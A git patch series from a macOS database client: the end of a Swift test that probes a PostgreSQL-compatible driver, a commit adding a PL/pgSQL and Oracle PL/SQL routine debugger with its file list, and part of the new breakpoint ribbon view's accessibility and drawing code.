check("database catalog") { try await driver.fetchDatabases().contains(database) } + let schema = "tp_probe_" + UUID().uuidString.replacingOccurrences(of: "-", with: "").lowercased() + let table = "\(schema).sample" + do { + try await driver.beginTransaction() + _ = try await driver.execute(query: "CREATE SCHEMA \(schema)") + _ = try await driver.execute(query: "CREATE TYPE \(schema).mood AS ENUM ('ok', 'bad')") + _ = try await driver.execute(query: "CREATE TABLE \(schema).parent (id integer PRIMARY KEY)") + _ = try await driver.execute(query: "CREATE TABLE \(table) (id integer PRIMARY KEY, parent_id integer REFERENCES \(schema).parent(id), flag boolean, payload bytea, title text COLLATE \"C\", amount numeric(12,2), missing text, doubled integer GENERATED ALWAYS AS (id * 2) STORED)") + _ = try await driver.execute(query: "CREATE INDEX sample_title_idx ON \(table)(title)") + _ = try await driver.execute(query: "CREATE FUNCTION \(schema).answer() RETURNS integer LANGUAGE SQL AS 'SELECT 42'") + await check("schema catalog") { try await driver.fetchSchemas().contains(schema) } + await check("table catalog") { try await driver.fetchTables(schema: schema).contains { $0.name == "sample" } } + await check("column catalog and generated column") { + let columns = try await driver.fetchColumns(table: "sample", schema: schema) + return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated } + } + await check("index catalog") { try await driver.fetchIndexes(table: "sample", schema: schema).count >= 2 } + try await checkKeyedTable(driver: driver, schema: schema) + await check("foreign key catalog") { try await driver.fetchForeignKeys(table: "sample", schema: schema).count == 1 } + await check("routine catalog and DDL") { + let routines = try await driver.fetchRoutines(schema: schema) + guard let routine = routines.first(where: { $0.name == "answer" }) else { return false } + return try await driver.fetchRoutineDDL(routine).contains("42") + } + await check("type catalog and definition") { + let types = try await driver.fetchUserDefinedTypes(schema: schema) + guard let mood = types.first(where: { $0.name == "mood" }) else { return false } + return try await driver.fetchUserDefinedType(mood).name == "mood" + } + await check("table DDL") { + let ddl = try await driver.fetchTableDDL(table: "sample", schema: schema) + print("Table DDL: \(ddl)") + guard ddl.contains("CREATE TABLE"), ddl.contains("GENERATED ALWAYS"), + ddl.contains("COLLATE ") else { return false } + let replay = ddl.replacingOccurrences(of: "\"sample\"", with: "\"replay\"") + _ = try await driver.execute(query: "SAVEPOINT ddl_replay") + do { + _ = try await driver.execute(query: replay) + let columns = try await driver.fetchColumns(table: "replay", schema: schema) + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay") + return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated } + } catch { + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay") + throw error + } + } + await check("parameterized insert and values") { + _ = try await driver.executeUserQuery( + query: "INSERT INTO \(table)(id,flag,payload,title,amount,missing) VALUES (1,$1::boolean,$2::bytea,$3,$4::numeric,$5)", + rowCap: nil, parameters: [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null] + ) + let result = try await driver.execute(query: "SELECT flag,payload,title,amount,missing,doubled FROM \(table)") + return result.rows.first == [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null, .text("2")] + } + await check("parameterized bigint beyond Int32 range") { + try await Self.bigintMatches(driver: driver) + } + await check("parameterized update and empty bytea") { + _ = try await driver.executeUserQuery(query: "UPDATE \(table) SET payload=$1::bytea WHERE id=1", rowCap: nil, parameters: [.bytes(Data())]) + let result = try await driver.execute(query: "SELECT payload, octet_length(payload) FROM \(table)") + return mode == "oracle" ? result.rows.first == [.null, .null] + : result.rows.first == [.bytes(Data()), .text("0")] + } + await check("savepoint rollback") { + _ = try await driver.execute(query: "SAVEPOINT probe_save") + _ = try await driver.execute(query: "DELETE FROM \(table)") + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT probe_save") + return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("1") + } + await check("delete") { + _ = try await driver.execute(query: "DELETE FROM \(table)") + return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("0") + } + } catch { + failed += 1 + print("FAIL fixture: \(error)") + } + await check("rollback removes all test objects") { + try await driver.rollbackTransaction() + return try await !driver.fetchSchemas().contains(schema) + } + await check("reconnect") { + driver.disconnect() + guard driver.sessionLexicalState == nil else { return false } + try await driver.connect() + try await driver.ping() + return true + } + await check("cancellation after server reports active query") { + let observer = KingbaseESPlugin().createDriver(config: config) + try await observer.connect() + defer { observer.disconnect() } + guard let pid = try await driver.execute(query: "SELECT pg_backend_pid()").rows.first?.first?.asText + else { return false } + let query = Task { try await driver.execute(query: "SELECT pg_sleep(30)") } + let deadline = ContinuousClock.now.advanced(by: .seconds(10)) + var active = false + while ContinuousClock.now < deadline { + let result = try await observer.execute(query: "SELECT state, query FROM pg_stat_activity WHERE pid=\(pid)") + if let row = result.rows.first, row[0].asText == "active", row[1].asText?.contains("pg_sleep") == true { + active = true + break + } + await Task.yield() + } + try driver.cancelQuery() + do { _ = try await query.value; return false } catch { + print("Cancellation active=\(active), error=\(error), SQLSTATE=\((error as? any PluginDriverError)?.pluginSqlState ?? "none")") + guard active, error is CancellationError + || (error as? any PluginDriverError)?.pluginSqlState == "57014" else { return false } + try await driver.ping() + return true + } + } + } +} From a8e83a6f8ca0d61c9a81fa22541c8a5d6a0a05e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Tue, 27 Oct 2026 23:38:41 +0700 Subject: [PATCH 10/44] feat(debugger): step through PL/pgSQL and Oracle PL/SQL routines with breakpoints (#3860) --- .claude/rules/data-sync-storage.md | 3 + .../BreakpointRibbonView+Accessibility.swift | 116 +++ .../BreakpointRibbonView+Draw.swift | 54 + .../Breakpoints/BreakpointRibbonView.swift | 172 ++++ .../TextViewController+Breakpoints.swift | 38 + .../TextViewController+Lifecycle.swift | 2 + .../Controller/TextViewController.swift | 19 + .../TableProEditorKit/Gutter/GutterView.swift | 89 +- ...ourceEditorConfiguration+Peripherals.swift | 11 +- .../SourceEditorTextView.swift | 29 + .../BreakpointRibbonTests.swift | 371 +++++++ .../OracleCoreConnection.swift | 117 ++- .../OracleDBMSDebugSession.swift | 614 +++++++++++ .../OracleDBMSDebugStatements.swift | 382 +++++++ .../OracleDebugBreakpointHolds.swift | 33 + .../OracleDebugChannel.swift | 16 + .../OracleDebugLauncher.swift | 263 +++++ .../OracleDebugNetwork.swift | 134 +++ .../OracleDebugPayload.swift | 108 ++ .../OracleDebugStatements.swift | 665 ++++++++++++ .../OracleDebugStopBudget.swift | 37 + .../OracleDebugSupport.swift | 177 ++++ .../TableProOracleCore/OracleDebugTypes.swift | 181 ++++ .../TableProOracleCore/OracleDebugUnit.swift | 187 ++++ .../OracleJDWPConnection.swift | 197 ++++ .../OracleJDWPDebugInfo.swift | 227 +++++ .../OracleJDWPDebugSession.swift | 894 ++++++++++++++++ .../OracleJDWPListener.swift | 275 +++++ .../TableProOracleCore/OracleJDWPPacket.swift | 444 ++++++++ .../OraclePLSQLDeclarationScan.swift | 582 +++++++++++ .../OracleDBMSDebugSessionTests.swift | 212 ++++ .../OracleDBMSDebugStatementsTests.swift | 134 +++ .../OracleDebugLauncherTests.swift | 74 ++ .../OracleDebugOverloadAmbiguityTests.swift | 91 ++ .../OracleDebugScriptedChannel.swift | 70 ++ .../OracleDebugSessionReservationTests.swift | 43 + .../OracleDebugStatementsTests.swift | 297 ++++++ .../OracleDebugStopBudgetTests.swift | 105 ++ .../OracleDebugUnitTests.swift | 73 ++ .../OracleJDWPBreakpointTests.swift | 194 ++++ .../OracleJDWPConcludeTests.swift | 134 +++ .../OracleJDWPConnectionTests.swift | 133 +++ .../OracleJDWPDebugInfoTests.swift | 89 ++ .../OracleJDWPHostileInputTests.swift | 146 +++ .../OracleJDWPListenerTests.swift | 85 ++ .../OracleJDWPPacketTests.swift | 122 +++ .../OracleJDWPRecording.swift | 63 ++ .../OracleJDWPRespondingPeer.swift | 79 ++ .../OracleJDWPSessionStartTests.swift | 99 ++ .../OracleJDWPSilentPeerTests.swift | 178 ++++ .../OracleJDWPStopOverlapTests.swift | 56 + .../OraclePLSQLDeclarationScanTests.swift | 220 ++++ .../OracleDriverPlugin/OracleDebugText.swift | 258 +++++ .../OracleDriverPlugin/OraclePlugin.swift | 5 +- .../OraclePluginDriver+Debugging.swift | 279 +++++ .../OracleRoutineDebugSession.swift | 157 +++ .../LibPQDriverCore.swift | 12 + .../LibPQPluginConnection.swift | 54 +- .../LibPQServerMessageSink.swift | 21 +- .../PGlitePluginDriver.swift | 3 + .../PostgreSQLDebugRendezvous.swift | 134 +++ ...tgreSQLPluginDriver+RoutineDebugging.swift | 122 +++ .../PostgreSQLPluginDriver.swift | 3 + .../PostgreSQLRoutineDebugError.swift | 98 ++ .../PostgreSQLRoutineDebugProtocol.swift | 752 ++++++++++++++ .../PostgreSQLRoutineDebugSession.swift | 689 +++++++++++++ .../PostgreSQLRoutineDebugProtocolTests.swift | 877 ++++++++++++++++ .../PluginRoutineDebugging.swift | 248 +++++ apple/TablePro/AppDelegate.swift | 2 + .../QueryExecutionCoordinator.swift | 2 +- .../Access/DatabaseAccessBridge+Scripts.swift | 4 +- .../Database/DatabaseManager+Health.swift | 11 + .../Database/DatabaseManager+Sessions.swift | 4 + .../Tools/MCPTabSnapshotProvider.swift | 7 +- .../TablePro/Core/Menu/DebugMenuBuilder.swift | 63 ++ .../TablePro/Core/Menu/MainMenuBuilder.swift | 29 +- apple/TablePro/Core/Modules/AppModule.swift | 41 + .../Core/Modules/AppModuleActivation.swift | 36 + .../Core/Modules/AppModuleSettings.swift | 37 + .../Core/Modules/AppModuleTermination.swift | 44 + apple/TablePro/Core/Plugins/PluginError.swift | 4 +- .../PluginManager+DriverAvailability.swift | 2 +- ...nContentCoordinator+RoutineDebugging.swift | 214 ++++ .../RoutineDebugController.swift | 777 ++++++++++++++ .../RoutineDebugOptionStore.swift | 48 + .../RoutineDebugSessionSource.swift | 146 +++ .../RoutineDebugSessions.swift | 247 +++++ .../RoutineDebugStartFlow.swift | 82 ++ .../Core/Scripting/ScriptEnumerations.swift | 4 +- apple/TablePro/Core/Scripting/ScriptTab.swift | 5 +- .../Core/Scripting/ScriptingSnapshot.swift | 2 +- .../Providers/OperationAuthenticating.swift | 9 +- .../Providers/OperationConfirming.swift | 29 +- .../EditorTabDetachPolicy.swift | 20 +- .../Infrastructure/EditorTabOpener.swift | 3 + ...SplitViewController+DebugMenuActions.swift | 86 ++ ...inSplitViewController+MenuValidation.swift | 28 + .../MainSplitViewController+RecentTabs.swift | 2 + ...plitViewController+TabStripAccessory.swift | 18 +- .../MainSplitViewController.swift | 3 +- .../MainWindowToolbar+Actions.swift | 21 + .../MainWindowToolbar+Context.swift | 10 +- .../MainWindowToolbar+Delegate.swift | 4 + .../MainWindowToolbar+Items.swift | 47 + .../Infrastructure/MainWindowToolbar.swift | 90 +- .../TabPersistenceCoordinator.swift | 1 + .../Toolbar/ToolbarContextResolver.swift | 32 +- .../Infrastructure/WindowTitleResolver.swift | 5 + .../Query/MetadataConnectionPool.swift | 14 +- .../Core/Storage/AppSettingsManager.swift | 1 + .../Core/Storage/AppSettingsStorage.swift | 1 + .../Core/Storage/ConnectionLocalState.swift | 1 + .../Core/Utilities/UI/AlertHelper.swift | 20 +- ...NSLayoutConstraintPriority+SplitPane.swift | 2 + .../Models/Query/QueryTabManager.swift | 25 +- .../TablePro/Models/Query/QueryTabState.swift | 8 + .../Models/UI/GridSelectionOwner.swift | 2 +- .../Models/UI/KeyboardShortcutModels.swift | 54 +- .../Models/UI/PendingChangeKind.swift | 3 +- apple/TablePro/Models/UI/ToolbarContext.swift | 28 +- .../TablePro/Resources/Localizable.xcstrings | 517 ++++++++++ .../Main/Child/MainEditorContentView.swift | 3 + .../MainContentCoordinator+TabClosing.swift | 8 +- .../Views/Main/MainContentCoordinator.swift | 9 +- .../RoutineDebugChooserSheet.swift | 147 +++ .../RoutineDebug/RoutineDebugPanes.swift | 153 +++ .../RoutineDebugPreparationPrompt.swift | 38 + .../RoutineDebug/RoutineDebugSheet.swift | 70 ++ .../RoutineDebug/RoutineDebugSourceView.swift | 135 +++ .../RoutineDebug/RoutineDebugStartSheet.swift | 266 +++++ .../RoutineDebug/RoutineDebugTabView.swift | 144 +++ .../Views/Settings/KeyboardSettingsView.swift | 3 +- .../Plugins/InstalledPluginsView.swift | 23 +- .../Settings/Plugins/ModuleToggleRow.swift | 33 + .../Views/Settings/SettingsView.swift | 3 +- ...abaseTreeOutlineCoordinator+Commands.swift | 8 + .../DatabaseTreeOutlineCoordinator+Menu.swift | 5 +- .../Menu/DatabaseTreeMenuContext.swift | 14 + .../Sidebar/Menu/DatabaseTreeMenuSpec.swift | 13 +- .../Sidebar/Menu/SidebarMenuCommand.swift | 1 + .../StructureColumnReorderHandler.swift | 2 +- .../StructureTableRebuildHandler.swift | 2 +- .../Core/Menu/DebugMenuBuilderTests.swift | 190 ++++ .../Core/Menu/MainMenuBuilderTests.swift | 7 +- .../Core/Modules/AppModuleResidueTests.swift | 231 +++++ .../Core/Modules/AppModuleSettingsTests.swift | 107 ++ .../Modules/AppModuleTerminationTests.swift | 48 + .../RoutineDebugControllerTests.swift | 820 +++++++++++++++ .../RoutineDebugging/RoutineDebugFakes.swift | 452 +++++++++ .../RoutineDebugOptionStoreTests.swift | 64 ++ .../RoutineDebugSessionSourceTests.swift | 86 ++ .../RoutineDebugSessionsTests.swift | 304 ++++++ .../RoutineDebugSheetTests.swift | 58 ++ .../RoutineDebugStartFlowTests.swift | 132 +++ .../RoutineDebugStartModelTests.swift | 60 ++ .../RoutineDebugTabTests.swift | 292 ++++++ .../RoutineDebugToolbarTests.swift | 187 ++++ .../Scripting/ScriptingDictionaryTests.swift | 4 +- .../EditorTabConnectionMovePolicyTests.swift | 2 +- .../Services/EditorTabDetachPolicyTests.swift | 60 +- .../Models/KeyboardShortcutTests.swift | 2 +- .../Models/ShortcutUniquenessTests.swift | 1 + .../DatabaseTreeMenuSpecTests+Debug.swift | 84 ++ apple/changelog.d/3860.added.md | 1 + apple/changelog.d/3860.changed.md | 1 + apple/scripts/probes/check-oracle-debugger.sh | 915 +++++++++++++++++ .../probes/check-pldebugger-session.sh | 957 ++++++++++++++++++ 167 files changed, 21706 insertions(+), 180 deletions(-) create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift create mode 100644 apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift create mode 100644 apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStopBudget.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugSupport.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugTypes.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugUnit.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugSession.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRespondingPeer.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift create mode 100644 apple/Plugins/OracleDriverPlugin/OracleDebugText.swift create mode 100644 apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift create mode 100644 apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugSession.swift create mode 100644 apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift create mode 100644 apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift create mode 100644 apple/TablePro/Core/Menu/DebugMenuBuilder.swift create mode 100644 apple/TablePro/Core/Modules/AppModule.swift create mode 100644 apple/TablePro/Core/Modules/AppModuleActivation.swift create mode 100644 apple/TablePro/Core/Modules/AppModuleSettings.swift create mode 100644 apple/TablePro/Core/Modules/AppModuleTermination.swift create mode 100644 apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift create mode 100644 apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift create mode 100644 apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift create mode 100644 apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift create mode 100644 apple/TableProTests/Core/Modules/AppModuleResidueTests.swift create mode 100644 apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift create mode 100644 apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift create mode 100644 apple/TableProTests/Views/Sidebar/DatabaseTreeMenuSpecTests+Debug.swift create mode 100644 apple/changelog.d/3860.added.md create mode 100644 apple/changelog.d/3860.changed.md create mode 100755 apple/scripts/probes/check-oracle-debugger.sh create mode 100755 apple/scripts/probes/check-pldebugger-session.sh diff --git a/.claude/rules/data-sync-storage.md b/.claude/rules/data-sync-storage.md index 24a2d160ab..daafa2f767 100644 --- a/.claude/rules/data-sync-storage.md +++ b/.claude/rules/data-sync-storage.md @@ -39,6 +39,9 @@ This path holds user data. A silent wrong answer here looks exactly like an empt | Sidebar database and schema filters, recent tables | UserDefaults, device-local | `DatabaseTreeFilterStorage`, `RecentTablesStore` | | History drawer state | UserDefaults, device-local | `HistoryPanelPreferencesStorage` | | Server Dashboard tiles, per connection | UserDefaults, device-local | `ServerDashboardTileStorage` | +| Module on/off (Settings > Extensions) | UserDefaults, device-local, never synced | `AppModuleSettings` | +| Routine debugger start options, per connection and field | UserDefaults, device-local | `RoutineDebugOptionStore` | +| Whether the toolbar arrangement already carries the debug items | UserDefaults, device-local | `MainWindowToolbar` | | Trusted external links (loopback only) | UserDefaults | `ExternalConnectionTrustStore` | | Table load timings (no identifying data, never uploaded) | JSON lines | `TableLoadHistoryStore` | | Reopen Last Session list (`LastSession.json`, plus `LastOpenConnections.json` holding only the ids that reconnect, which older builds read) | JSON | `LastOpenConnectionsStorage` | diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift new file mode 100644 index 0000000000..0d934548a1 --- /dev/null +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift @@ -0,0 +1,116 @@ +// +// BreakpointRibbonView+Accessibility.swift +// TableProEditorKit +// + +import AppKit +import TableProTextEngine + +final class BreakpointElement: NSAccessibilityElement { + let line: Int + private let label: String + private let onPress: (Int) -> Void + + init(line: Int, label: String, onPress: @escaping (Int) -> Void) { + self.line = line + self.label = label + self.onPress = onPress + super.init() + } + + override func accessibilityRole() -> NSAccessibility.Role? { + .button + } + + override func accessibilityLabel() -> String? { + label + } + + override func isAccessibilityEnabled() -> Bool { + true + } + + override func accessibilityPerformPress() -> Bool { + onPress(line) + return true + } +} + +extension BreakpointRibbonView { + override func isAccessibilityElement() -> Bool { + true + } + + override func accessibilityRole() -> NSAccessibility.Role? { + .group + } + + override func accessibilityLabel() -> String? { + String(localized: "Breakpoints") + } + + override func accessibilityValue() -> Any? { + guard let executionLine = controller?.executionLine else { return nil } + return String(format: String(localized: "Paused at line %d"), executionLine) + } + + // One element per breakpoint on screen. + override func accessibilityChildren() -> [Any]? { + let breakpoints = controller?.breakpointLines ?? [] + let key = PublishedElementsKey( + breakpointLines: breakpoints, + visibleRect: visibleRect, + windowFrame: window?.frame, + documentHeight: controller?.textView?.frame.height + ) + if key == publishedElementsKey { + return publishedElements + } + publishedElementsKey = key + + guard let layoutManager = controller?.textView?.layoutManager else { + publishedElements = [] + return [] + } + + let format = String(localized: "Breakpoint, line %d") + let toggle: (Int) -> Void = { [weak self] line in + self?.controller?.onBreakpointToggle?(line) + } + let visible = visibleRect + + publishedElements = breakpoints.sorted().compactMap { lineNumber -> BreakpointElement? in + guard let line = position(ofLine: lineNumber, in: layoutManager), + line.yPos < visible.maxY, line.yPos + line.height > visible.minY else { + return nil + } + let element = BreakpointElement( + line: lineNumber, + label: String(format: format, lineNumber), + onPress: toggle + ) + element.setAccessibilityParent(self) + element.setAccessibilityFrame( + screenRect(CGRect(x: 0, y: line.yPos, width: bounds.width, height: line.height)) + ) + return element + } + + return publishedElements + } + + override func accessibilityHitTest(_ point: NSPoint) -> Any? { + accessibilityElement(atScreenPoint: point) ?? super.accessibilityHitTest(point) + } + + // The gutter floats over the text view, so a positional lookup lands on the gutter, which asks here. + func accessibilityElement(atScreenPoint point: NSPoint) -> BreakpointElement? { + let children = accessibilityChildren() as? [BreakpointElement] ?? [] + return children.first { $0.accessibilityFrame().contains(point) } + } + + private func screenRect(_ rect: CGRect) -> CGRect { + guard let window else { return .zero } + return window.convertToScreen(convert(rect, to: nil)) + } +} diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift new file mode 100644 index 0000000000..b2565340b9 --- /dev/null +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift @@ -0,0 +1,54 @@ +// +// BreakpointRibbonView+Draw.swift +// TableProEditorKit +// + +import AppKit +import TableProTextEngine + +extension BreakpointRibbonView { + override func draw(_ dirtyRect: NSRect) { + super.draw(dirtyRect) + + guard let controller, let layoutManager = controller.textView?.layoutManager else { return } + let breakpoints = controller.breakpointLines + let executionLine = controller.executionLine + + for lineNumber in breakpoints { + let marker: Marker = lineNumber == executionLine ? .breakpointAtExecution : .breakpoint + draw(marker, color: breakpointColor, onLine: lineNumber, in: dirtyRect, layoutManager: layoutManager) + } + + if let executionLine, !breakpoints.contains(executionLine) { + draw(.execution, color: executionColor, onLine: executionLine, in: dirtyRect, layoutManager: layoutManager) + } + + if let hoveredLine, hoveredLine != executionLine, !breakpoints.contains(hoveredLine) { + let hint = breakpointColor.withAlphaComponent(breakpointColor.alphaComponent * Self.hintOpacity) + draw(.breakpoint, color: hint, onLine: hoveredLine, in: dirtyRect, layoutManager: layoutManager) + } + } + + private func draw( + _ marker: Marker, + color: NSColor, + onLine lineNumber: Int, + in dirtyRect: NSRect, + layoutManager: TextLayoutManager + ) { + guard let line = position(ofLine: lineNumber, in: layoutManager), + line.yPos < dirtyRect.maxY, line.yPos + line.height > dirtyRect.minY, + let image = glyph(marker, color: color) else { + return + } + + let size = image.size + let rect = NSRect( + x: (bounds.width - size.width) / 2, + y: line.yPos + (line.height - size.height) / 2, + width: size.width, + height: size.height + ) + image.draw(in: rect.pixelAligned) + } +} diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift new file mode 100644 index 0000000000..ed972d4268 --- /dev/null +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift @@ -0,0 +1,172 @@ +// +// BreakpointRibbonView.swift +// TableProEditorKit +// + +import AppKit +import TableProTextEngine + +// The breakpoints and execution line live on the controller, so a host can set them before this view exists. +class BreakpointRibbonView: NSView { + static let width: CGFloat = 14.0 + static let glyphPointSize: CGFloat = 9.0 + static let hintOpacity: CGFloat = 0.4 + + enum Marker: Hashable { + case breakpoint + case execution + case breakpointAtExecution + } + + private struct GlyphKey: Hashable { + let marker: Marker + let color: NSColor + } + + // Window frame and document height catch a window move, fold or rewrap that moves an element. + struct PublishedElementsKey: Equatable { + let breakpointLines: Set + let visibleRect: CGRect + let windowFrame: CGRect? + let documentHeight: CGFloat? + } + + 